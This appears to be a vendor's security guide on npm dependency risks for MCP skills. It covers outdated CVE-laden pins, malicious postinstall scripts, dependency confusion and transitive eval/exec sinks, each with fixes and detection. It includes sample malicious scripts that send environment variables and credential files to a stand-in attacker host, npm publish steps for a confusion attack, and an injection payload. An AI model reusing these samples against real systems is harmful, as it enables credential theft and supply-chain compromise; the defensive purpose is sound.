Claude skill dependency security — SA-SKL-DEP
MCP skills depend on dozens of npm packages, and each dependency is a potential attack surface. Four dependency security patterns affect Claude skill deployments: outdated pinned dependencies with known CVEs, postinstall scripts in npm packages executing arbitrary system commands during install, dependency confusion attacks where a malicious public package shadows a private internal one, and transitive dependencies burying eval() or exec() calls deep in the dependency tree. SA-SKL-DEP covers all four patterns with the detection and mitigation strategies for secure skill package management.
DEP-001 — Outdated pinned dependency with known CVE (HIGH)
Exact version pinning in package.json is intended to guarantee reproducible builds, but it also freezes a package at a specific version indefinitely — including after security advisories are published for that version. MCP skills that use exact pins for security-critical packages like JWT libraries, HTTP parsers, and cryptographic modules remain vulnerable long after patches are available.
Vulnerable configuration
// package.json — VULNERABLE: exact pin on a patched version
{
"dependencies": {
"jsonwebtoken": "8.5.1", // CVE-2022-23529 (arbitrary object injection)
// CVE-2022-23540 (signature verification bypass)
"axios": "0.21.1", // CVE-2021-3749 (ReDoS via crafted Content-Type)
"node-fetch": "2.6.1", // CVE-2022-0235 (exposure of sensitive information)
"minimist": "1.2.5", // CVE-2021-44906 (prototype pollution)
"express": "4.17.1" // multiple advisories since 2021
}
}
// The pinned versions produce a reproducible build, but:
// - npm audit reports HIGH/CRITICAL advisories on each
// - Dependabot PRs are opened but ignored — "it's pinned for stability"
// - CI pipeline runs npm install without npm audit check
// - Skill runs with known-vulnerable jsonwebtoken that can be exploited
// via specially crafted JWTs sent to any authenticated endpoint
Attack mechanics
CVE-2022-23529 in jsonwebtoken@8.5.1 allows an attacker to inject an object as the secretOrPublicKey parameter via the callback form of jwt.verify(). When combined with a JWT containing a crafted header, this triggers arbitrary object injection in the verification path:
# CVE-2022-23529: jwt.verify() with callback form + object injection
# Affects: jsonwebtoken < 9.0.0
# Attacker sends a JWT with header: {"alg":"HS256","kid":"../path/to/attacker.json"}
# If skill uses callback form of jwt.verify():
jwt.verify(token, getKeyFunction, options, (err, decoded) => { ... });
# getKeyFunction is called with decoded header — kid can be used to load
# an attacker-controlled JSON file as the secret object, bypassing type checks
# CVE-2022-23540: weak key type confusion
# jwt.verify() with an asymmetric public key accidentally accepts HS256-signed tokens
# when the public key PEM is used as the HMAC secret — allows signature forgery
# using the PUBLIC key (which is public knowledge) as the HMAC key
# Detection:
npm audit --audit-level=high
# → 2 high severity vulnerabilities in jsonwebtoken@8.5.1
# → Recommendation: upgrade to jsonwebtoken@^9.0.0
Impact: Skills pinned to jsonwebtoken@8.5.1 are vulnerable to two CVEs that together allow authentication bypass. The exact-pin pattern prevents automatic patching — the vulnerability persists until a developer manually updates the pin and redeploys.
Secure configuration
// package.json — SECURE: caret pin for patch-level updates on security-critical packages
{
"dependencies": {
"jsonwebtoken": "^9.0.2", // caret: accepts 9.x.x patches, blocks 10.x.x breaking changes
"axios": "^1.6.0", // current major with security fixes
"node-fetch": "^3.3.2",
"minimist": "^1.2.8", // patched version for prototype pollution
"express": "^4.19.2"
}
}
// CI pipeline — fail build on high/critical advisories
// .github/workflows/ci.yml
# - name: Security audit
# run: npm audit --audit-level=high
# # exits non-zero if any high or critical advisories found
# # blocks merge to main until fixed
// Automate dependency updates with Dependabot
// .github/dependabot.yml
# version: 2
# updates:
# - package-ecosystem: "npm"
# directory: "/"
# schedule:
# interval: "weekly"
# groups:
# security-patches:
# applies-to: security-updates
# update-types: ["patch"]
// Enforce audit in production Docker build
// Dockerfile
# RUN npm ci --omit=dev
# RUN npm audit --audit-level=high --omit=dev
# RUN npm prune --production
Detection: SkillAudit parses package.json and package-lock.json, extracts resolved versions for all direct and transitive dependencies, and cross-references them against the npm advisory database and GitHub Advisory Database (GHSA). Findings include CVE ID, CVSS score, affected version range, and the patched version. Exact-pinned dependencies with available patches are flagged even when the installed version is not the absolute latest, since the caret was deliberately removed.
DEP-002 — postinstall script RCE via malicious npm package (HIGH)
npm packages can declare lifecycle scripts that execute during npm install. The postinstall hook runs with the same privileges as the install process — full access to environment variables, the filesystem, and network. A malicious package installed via typosquatting or supply-chain compromise can exfiltrate CI secrets, SSH keys, and cloud credentials through this mechanism.
Vulnerable pattern
// Malicious package: "lodash-utils-extra" (typosquat of lodash-utils)
// Its package.json:
{
"name": "lodash-utils-extra",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./install.js"
}
}
// install.js — executes silently during `npm install` in developer machine or CI:
const https = require('https');
const os = require('os');
// Collect environment (contains CI secrets, AWS keys, NPM tokens, etc.)
const payload = {
env: process.env, // all environment variables
hostname: os.hostname(),
user: os.userInfo(),
cwd: process.cwd(),
};
// Exfiltrate to attacker-controlled server
const data = JSON.stringify(payload);
https.request({
hostname: 'exfil.attacker.example',
path: '/collect',
method: 'POST',
headers: { 'Content-Length': data.length, 'Content-Type': 'application/json' }
}, () => {}).end(data);
// Also attempts to read SSH keys and cloud credentials:
const sensitiveFiles = [
`${os.homedir()}/.ssh/id_rsa`,
`${os.homedir()}/.aws/credentials`,
`${os.homedir()}/.npmrc`, // contains NPM_TOKEN
'/run/secrets/kubernetes.io/serviceaccount/token',
];
// ... reads and exfiltrates each file
Attack mechanics
# Developer installs a typosquatted package by mistake:
npm install lodash-utils-extra # intended: lodash-utils
# npm executes the postinstall script automatically, with no prompt:
# > lodash-utils-extra@1.0.0 postinstall
# > node ./install.js
# (silent — no error output, install appears to succeed)
# CI pipeline is equally vulnerable:
# GitHub Actions runner environment variables include:
# GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, NPM_TOKEN
# All are captured and exfiltrated by the postinstall script
# Audit which packages in your current node_modules have postinstall scripts:
npm query ':attr(scripts, [postinstall])' 2>/dev/null || \
node -e "
const lock = require('./package-lock.json');
const pkgs = lock.packages || {};
for (const [path, pkg] of Object.entries(pkgs)) {
if (pkg.scripts?.postinstall) {
console.log(path, '→', pkg.scripts.postinstall);
}
}
"
# Example output showing legitimate and potentially malicious:
# node_modules/esbuild → node install.js (legitimate build tool)
# node_modules/lodash-utils-extra → node ./install.js (suspicious)
# node_modules/@parcel/watcher → node install.js (legitimate native module)
Impact: A single developer or CI install of a malicious package exfiltrates all environment variables and accessible secrets. In GitHub Actions or GitLab CI, this includes repository secrets, cloud provider credentials, and package registry tokens. The attack is silent — the install completes normally and the malicious package may even function correctly as a decoy.
Secure configuration
# .npmrc — disable lifecycle scripts globally for all installs
ignore-scripts=true
# Or enforce per-command in Dockerfile and CI:
# Dockerfile
RUN npm ci --ignore-scripts --omit=dev
# .github/workflows/ci.yml
- name: Install dependencies
run: npm ci --ignore-scripts
# For packages that REQUIRE postinstall (native modules like esbuild, sharp):
# Use an explicit allowlist — run only the scripts you need:
npm ci --ignore-scripts
npm rebuild esbuild # rebuilds native module without running all scripts
npm run --prefix node_modules/sharp install # targeted script execution
# Audit all postinstall scripts before allowing them:
# package.json — document approved scripts with rationale
{
"_approvedPostinstallScripts": {
"esbuild": "native binary download — reviewed 2026-11-04",
"@parcel/watcher": "native fs watcher — reviewed 2026-11-04"
}
}
# Use socket.dev for real-time postinstall monitoring:
# socket install lodash-utils-extra
# → SocketSecurity: 1 package has install scripts
# → lodash-utils-extra (1.0.0): postinstall: node ./install.js
# → This is unusual for this type of package. Approve? [y/N]
Detection: SkillAudit parses package-lock.json and scans all packages for scripts.postinstall, scripts.install, and scripts.preinstall entries. It cross-references packages against the npm registry to identify new postinstall scripts added in recent versions (a package that gains a postinstall script it did not previously have is a high-confidence supply chain signal). It also checks whether ignore-scripts=true is present in .npmrc and flags CI workflow files that run npm install without --ignore-scripts.
DEP-003 — Dependency confusion via private package name collision (HIGH)
Dependency confusion exploits npm's package resolution priority: when a package is available on both a private registry and the public npm registry, npm defaults to the higher version number regardless of origin. An attacker who discovers the name of a private internal package can publish a malicious package with the same name to npm at a version number higher than the internal one, causing production installs to silently resolve to the attacker's package.
Vulnerable configuration
// package.json — VULNERABLE: unscoped internal package name
{
"dependencies": {
"audit-core": "1.2.3", // internal private package, no scope
"skill-runner": "2.0.1", // internal private package, no scope
"mcp-auth-utils": "0.9.0" // internal private package, no scope
}
}
// .npmrc — private registry configured for some scopes, but NOT for unscoped packages
@company:registry=https://registry.company.internal/
# No fallback configuration for unscoped packages — they resolve to public npm
// Resolution order when developer runs `npm install`:
// 1. npm checks public registry for "audit-core" at any version
// 2. Attacker published "audit-core@9.0.0" to public npm
// 3. npm selects public 9.0.0 over private 1.2.3 (higher version wins)
// 4. Malicious package is installed — no error, no warning
// The confusion is especially dangerous in CI where:
// - The private registry token may not be configured
// - npm falls through to public registry silently
// - The malicious package passes name-based dependency checks
Attack mechanics
# Step 1: Attacker discovers private package names from:
# - Public error messages mentioning "audit-core"
# - Job postings listing internal tooling
# - Open source code referencing private packages
# - Leaked .npmrc or package.json from public GitHub repos
# Step 2: Attacker publishes malicious packages at high version numbers
npm publish audit-core@9.0.0 # higher than internal 1.2.3
npm publish skill-runner@99.0.0 # obviously higher to guarantee resolution
npm publish mcp-auth-utils@9.0.0
# Package content (audit-core/index.js):
const os = require('os');
const https = require('https');
// Exfiltrate on require() — no postinstall needed
https.request({ hostname: 'exfil.attacker.example', path: '/dep', method: 'POST' },
() => {}).end(JSON.stringify({ env: process.env, host: os.hostname() }));
// Also export a stub so the app doesn't crash:
module.exports = require('./stub');
# Step 3: developer or CI runs npm install
# npm resolves audit-core@9.0.0 from public npm (higher version)
# Package is installed alongside all legitimate dependencies
# Exfiltration occurs on the first require('audit-core') in production
Impact: Dependency confusion was used in documented attacks against Microsoft, Apple, PayPal, Tesla, and Shopify (disclosed 2021 by Alex Birsan). The attack requires no interaction with internal systems — it exploits npm's public resolution priority. Impact is equivalent to supply-chain RCE: attacker code runs in production with all application secrets accessible.
Secure configuration
// package.json — SECURE: use scoped packages for all internal dependencies
{
"dependencies": {
"@skillaudit/audit-core": "1.2.3", // scoped — resolver enforces registry
"@skillaudit/skill-runner": "2.0.1",
"@skillaudit/mcp-auth-utils": "0.9.0"
}
}
// .npmrc — scope-bound registry configuration
# All @skillaudit/* packages resolve ONLY to the internal registry
@skillaudit:registry=https://registry.skillaudit.internal/
//registry.skillaudit.internal/:_authToken=${INTERNAL_NPM_TOKEN}
# Optionally, block public npm resolution for the entire install:
# registry=https://registry.skillaudit.internal/ # route ALL installs internally
# package.json — exact version pins for internal packages (no caret for private deps)
{
"dependencies": {
"@skillaudit/audit-core": "1.2.3" // exact pin — changes require deliberate update
}
}
// Verify package integrity via package-lock.json SHA512 hashes:
// package-lock.json (generated by npm ci — do not manually edit)
{
"node_modules/@skillaudit/audit-core": {
"version": "1.2.3",
"resolved": "https://registry.skillaudit.internal/@skillaudit/audit-core/-/audit-core-1.2.3.tgz",
"integrity": "sha512-<hash>", // npm ci validates this hash on every install
}
}
// CI: use npm ci (not npm install) — enforces lockfile, validates integrity hashes
npm ci --ignore-scripts
Detection: SkillAudit scans package.json for unscoped dependency names that do not appear in the public npm registry under a matching description (indicating they are likely internal packages that should be scoped). It also checks .npmrc to verify that internal package scopes are bound to private registry URLs. Any unscoped package that is present on public npm but whose package-lock.json resolved URL points to a private registry is flagged as a dependency confusion risk — the package name is squattable.
DEP-004 — Transitive dependency with eval() or exec() in deep dependency tree (HIGH)
Static analysis tools like npm audit only report advisories with assigned CVE numbers. A transitive dependency that contains eval(), new Function(), or child_process.exec() with non-literal arguments — but has no published advisory — is entirely invisible to standard tooling. These patterns can be introduced in minor version updates to deep transitive dependencies, far from any direct dependency you explicitly chose.
Vulnerable pattern
// Dependency tree:
// skill-core (your code)
// └─ lodash-merge-deep@3.0.1 (direct dependency)
// └─ utils-string-processor@1.4.2 (transitive, 2 levels deep)
// └─ template-micro@0.8.1 (transitive, 3 levels deep)
// └─ eval(userInput) ← buried 4 levels deep, no CVE assigned
// template-micro/index.js (node_modules/template-micro/index.js):
function renderTemplate(template, context) {
// Dangerous: evaluates template as JavaScript with context as scope
// No CVE yet — advisory may come months after a weaponized exploit is found
return new Function(...Object.keys(context), `return \`${template}\``)(...Object.values(context));
}
// utils-string-processor passes user-controlled data into renderTemplate:
export function formatMessage(template, data) {
return renderTemplate(template, data); // template may come from user input
}
// Your skill code — appears safe, but the chain leads to eval():
import { formatMessage } from 'lodash-merge-deep/utils';
// lodash-merge-deep re-exports from utils-string-processor
const response = formatMessage(req.body.template, req.body.data);
// If req.body.template = "${process.mainModule.require('child_process').execSync('id')}"
// → new Function() executes the command and returns the output
Attack mechanics
# The eval() sink is 4 levels deep — standard tools miss it:
npm audit # 0 vulnerabilities found (no CVE for template-micro)
snyk test # 0 issues found
retire.js # no known vulnerabilities
# Manual detection requires scanning ALL node_modules:
grep -r "eval(" node_modules/ --include="*.js" -l | head -20
# → node_modules/template-micro/index.js
# → node_modules/vm2/lib/main.js (intentional — vm2 is a sandbox)
# → node_modules/acorn/dist/acorn.js (safe — parsing own source)
# More targeted: find non-literal eval() arguments
# (a heuristic — requires human review of matches)
grep -rn "eval(\|new Function(" node_modules/ --include="*.js" | \
grep -v "eval(\s*['\`\"]\|eval(\s*\/\)" | \
grep -v "node_modules/acorn\|node_modules/eslint\|node_modules/babel"
# SkillAudit performs semantic taint analysis:
# traces data flow from HTTP request fields → formatMessage → renderTemplate → new Function()
# identifies the full call chain across package boundaries
# exec() pattern — also dangerous in transitive deps:
// node_modules/some-util/index.js
const { exec } = require('child_process');
function runCommand(cmd) {
exec(cmd); // non-literal argument — tainted if cmd flows from user input
}
Impact: A transitive eval() or exec() with user-controlled input is a remote code execution vulnerability with no CVE and no advisory. Standard tooling produces a false-negative "clean" report. The vulnerability can be introduced by a minor version bump to a transitive dependency that the skill author has never heard of.
Detection and mitigation
# 1. Use npm ci (not npm install) in production — enforces package-lock.json
npm ci --omit=dev --ignore-scripts
# 2. Run npm dedupe to minimize unique packages in the tree
npm dedupe # reduces number of packages that need auditing
# 3. socket.dev for real-time behavioral analysis (detects eval/exec patterns):
# npm install @socket.dev/cli -g
# socket npm install lodash-merge-deep
# → SocketSecurity: utils-string-processor@1.4.2 uses eval() [dynamic code execution]
# → Approve? [y/N]
# 4. Periodic full-tree scan for dangerous patterns:
node -e "
const path = require('path');
const fs = require('fs');
const dangerous = /\beval\s*\((?!\s*['\`\"])|\bnew\s+Function\s*\((?!\s*['\`\"])|\bexecSync?\s*\((?!\s*['\`\"])/;
function scan(dir) {
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
const full = path.join(dir, entry.name);
if (entry.isDirectory() && entry.name !== '.bin') scan(full);
else if (entry.name.endsWith('.js') && entry.isFile()) {
const src = fs.readFileSync(full, 'utf8');
if (dangerous.test(src)) console.log('WARN:', full);
}
}
}
scan('./node_modules');
"
# 5. Lock transitive dependencies explicitly in package-lock.json:
# - Use npm ci which validates SHA512 integrity of every installed package
# - Commit package-lock.json — prevents "version drift" in transitive deps
# - Review lock file diffs in PRs for unexpected version changes in deep deps
# 6. Restrict npm modules in production via allowlist:
# Node.js --experimental-policy (Node 18+):
# policy.json — deny dynamic code execution in dependencies
{
"resources": {
"./node_modules/template-micro/index.js": {
"integrity": "sha512-..."
}
}
}
Detection: SkillAudit performs a full node_modules tree walk, applying AST parsing to every .js and .ts file in the installed package set. It identifies eval(), new Function(), vm.runInNewContext(), exec(), execSync(), and spawn() calls where the first argument is not a string literal. It then traces taint flow backwards through the call graph across package boundaries to determine whether any of these sinks are reachable from HTTP request fields, MCP tool call arguments, or file content reads. Findings are ranked by reachability: "reachable from user input" is flagged HIGH; "exists in tree but not reachable from user input in current skill" is flagged MEDIUM.
SA-SKL-DEP findings summary
SkillAudit reports these four dependency security findings when scanning a Claude MCP skill's package manifest, lockfile, and installed node_modules tree:
package-lock.json. Fix: upgrade to the patched version range; use caret (^) pinning for security-critical packages; add npm audit --audit-level=high to CI with non-zero exit code. Detection: resolved versions in package-lock.json cross-referenced against npm advisory database; both direct and transitive dependency advisories are reported with the dependency chain path that introduced the vulnerable package.package-lock.json declares a postinstall, install, or preinstall lifecycle script, and ignore-scripts=true is not present in .npmrc or enforced in CI workflow commands. Fix: set ignore-scripts=true in .npmrc; run npm ci --ignore-scripts in CI and Dockerfile; rebuild specific native modules explicitly after install. Detection: scripts.postinstall / scripts.install presence in any package in the lockfile combined with absence of ignore-scripts in .npmrc and absence of --ignore-scripts flag in CI workflow npm commands.@scope/ prefix) that is squattable on public npm — either the name is not registered on public npm, or the public npm version has a lower version number than the private registry version. Fix: migrate all internal packages to scoped names (@yourorg/packagename); bind scopes to private registry in .npmrc. Detection: package names in package.json without @scope/ prefix whose package-lock.json resolved URL points to a private registry but whose name is unregistered or occupiable on public npm.eval(), new Function(), exec(), or execSync() with a non-literal first argument that is reachable from MCP tool call arguments or HTTP request fields via cross-package taint flow. Fix: replace the dependency chain introducing the dangerous sink; use socket.dev for behavioral monitoring of new package versions; use npm ci to prevent lockfile drift. Detection: AST parse of all .js files in node_modules for dangerous code execution sinks, combined with inter-package taint flow analysis tracing from skill entrypoints to the identified sinks.Running SA-SKL-DEP on your MCP skill
SkillAudit's dependency scanner operates on your committed package.json and package-lock.json without requiring a full npm install in the scan environment. It resolves the complete dependency tree from the lockfile, checks all resolved versions against the advisory database, identifies postinstall scripts across the tree, checks scope configuration against squattable names on public npm, and performs AST-level scanning of the installed node_modules when a full scan artifact is provided.
SA-SKL-DEP findings include the full dependency chain path for every transitive finding — for example: your-skill → lodash-merge-deep@3.0.1 → utils-string-processor@1.4.2 → template-micro@0.8.1 [eval()] — so you know which direct dependency to update or replace to eliminate the finding.
SA-SKL-DEP is part of the SkillAudit Supply Chain Security audit bundle, which also includes SA-SKL-LOCKFILE (lockfile integrity and tampering detection), SA-SKL-LICENSE (license compliance for dependencies), and SA-SKL-TYPOSQUAT (typosquatting detection for all direct dependencies).